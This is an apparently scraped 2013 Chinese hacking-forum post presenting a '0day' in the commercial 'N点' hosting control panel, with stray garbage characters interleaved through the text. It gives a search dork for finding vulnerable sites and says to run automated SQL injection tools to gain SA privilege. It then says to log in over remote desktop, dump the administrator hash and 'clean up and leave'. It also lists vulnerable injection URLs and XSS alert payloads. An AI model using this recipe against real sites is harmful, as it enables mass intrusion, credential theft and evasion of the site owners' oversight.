中国网络渗透测试联盟

标题: N点商业版漏洞通杀0day以及利用方法 [打印本页]
作者: admin    时间: 2013-3-3 08:06
标题: N点商业版漏洞通杀0day以及利用方法
不得不说N点实在是一个破东西
- N, N% ], @% _4 `就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂
$ }& F2 T) }; {* h. z* o好吧 抱怨一下就行了  接下来关键的时候到了$ U/ h# O. M) y; B5 f
首先百度搜索关键字：inurl: (mmdatabase.asp)
6 U$ {8 }/ m- m' \: U: a我随便列举一个：   www.xxxx.com( b3 E" m/ p8 N
修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=1
; i; @6 s6 u' z( W( f% H扔入NBSI 或者啊D等各种傻逼工具后
+ q! p) v2 D5 W) P你们会看到是SA权限  U# ^: r8 M0 m' L0 R
果断3389 上去  hash得到administrator密码" c+ `7 c" D# \! v( B$ H
擦屁股走人~
, o; p. O  l( j  }, d6 J经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的
( B- d; L+ }, d& O) T, m, Y
! C$ I/ C; o) U再附上其他几个漏洞页面6 p: x# \, |2 w7 W8 ]) K7 I
SQL：% t8 j" H5 F- L$ b
http://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=10 ^# v6 }) n" C/ ~$ ]9 f! ?1 {
http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11& }& q: q8 H6 [! s0 \8 m  o/ l6 n5 G! l
http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=9* d6 j1 i: C. Y, N" e; H  Y
http://www.xxxxxx.com:80/Style/vhosting.asp?classID=2
2 n/ m8 J& d  y2 R$ s6 s3 z$ YXSS证明：
, _2 u  j% a6 r) Lhttp://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”! ?; I; G& `% X/ U6 I0 b
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
9 s7 ]9 M# f) ?http://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>
5 s, \' f& E1 r, ?7 b9 b/ p4 E/ ]: T由此可见点就是坑逼中的战斗机   自从用了他我的眼泪都流干了  有做IDC的朋友千万别步我后尘啊   便宜没好货好货不便宜" R2 K$ N( y3 Q
还是星外吧  你们懂的& d1 Y7 L! K: i9 X; f2 X
作为一个商用程序   安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？% L) ^9 I5 l0 B2 L# Q
PS：其实我真的很想知道你说N点这SB asp就asp吧  为什么asp还非要MSSQL  这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。   o(︶︿︶)o 唉* R% y7 G* S! Q4 C: R& P
——-



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2